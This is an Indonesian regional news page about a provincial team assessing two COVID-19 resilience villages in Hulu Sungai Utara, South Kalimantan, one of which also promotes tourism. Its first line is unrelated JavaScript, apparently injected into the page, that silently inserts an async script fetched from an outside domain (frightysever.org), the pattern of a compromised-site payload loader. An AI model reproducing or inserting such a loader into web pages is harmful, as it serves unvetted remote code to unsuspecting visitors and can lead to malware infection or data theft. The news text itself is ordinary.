(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Punya Nilai Plus, Kampung Tangguh Banua di HSU Juga Garap Pariwisata


KANALKALIMANTAN.COM, AMUNTAI – Sambutan hangat diberikan ketika Tim Penilai Kampung Tangguh Banua (KTB) tingkat provinsi zona 4 melakukan penilaian di dua desa di Kabupaten Hulu Sungai Utara (HSU).

Dua desa tersebut yaitu Desa Banyu Hirang Kecamatan Amuntai Selatan dan Desa Palimbang Sari, Kecamantan Haur Gading.

Kapolres HSU AKBP Pipit Subiyanto mengatakan, penilaian posko KTB Covid-19 ini dimaksudkan mengecek sejauh mana ketangguhan dalam mencegah penyebaran corona. Ada 2 desa yang mewakili HSU dalam lomba Kampung Tangguh Covid-19 yakni Desa Banyu Hirang Kecamantan Amuntai Selatan dan Desa Palimbang Sari, Kecamatan Haur Gading.

“Saya ucapkan terima kasih kepasa semua pihak terutama tim penilai yang secara moril memotivasi warga, serta terima kasih juga kepada warga semua. Semoga pandemi covid-19 cepat berakhir,” ujar Kapolres HSU, Kamis (6/8/2020) sore.

Hal serupa juga diungkapkan Kepala Poskesmas Haur Gading, dr Yenny Kusuma Devi, yang mengharapkan KTB dapat membuat masyarakat semakin sadar akan pentingnya meningkatkan disiplin protokol kesehatan.

“Kampung Tangguh ini kita harapkan dapat bersama-sama memutus mata rantai penularan Covid-19 di daerah kita khususnya di Desa Palimbang Sari ini.” Imbuhnya.

Adapun tim penilai tingkat provinsi sendiri terdiri dari tim penilai dari Polda Kalsel, Dinas Sosial Kalimantan Selatan, Dinas Ketahanan Pangan Kalsel, BPBD Kalsel, dan Dinas Kominfo Kalsel serta dari Korem Antasari.

Ketua Tim penilai KTB Zona 4 AKBP dr. Bambang Prasetya dalam menyatakan kunjungan ke KTB Banyu Hirang merupakan tugas dari Gugus Tugas Percepatan Penanganan Covid – 19 Provinsi dan tugas dari Polda Kalsel.

Menurut Bambang, kampung tangguh lebih memprioritaskan ketahanan di bidang kesehatan, keamanan, dan pangan. “Namun berbeda dengan KTB di Desa Banyu Hirang yang memiliki nilai plus yakni adanya penambahan prioritas yaitu tangguh di bidang pariwisata,” ungkapnya.

Penambahan prioritas ini tentunya diharapkan dapat menambah lapangan pekerjaan dan meningkatkan kesejahteraan masyarakatnya dengan tetap menjalankan protokol kesehatan.

Selain melakukan penilaian admistrasi dan data data yang berkenaan dengan penanganan Covid – 19, tim penilai juga melakukan penilaian ke lumbung pangan, Poskamling, tempat kerajinan, dan tempat karantina.

“Dalam kegiatan penilaian didua desa ini, tim penilai juga didampingi langsung oleh Kapolres HSU, Wakapolres dan jajaran, Kepala Poskesmas setempat, Camat, Babinsa, Perwakilan SKPD terkait dan kepala desa setempat. (kanalkalimantan.com/dew)

 

Reporter: Dew
Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.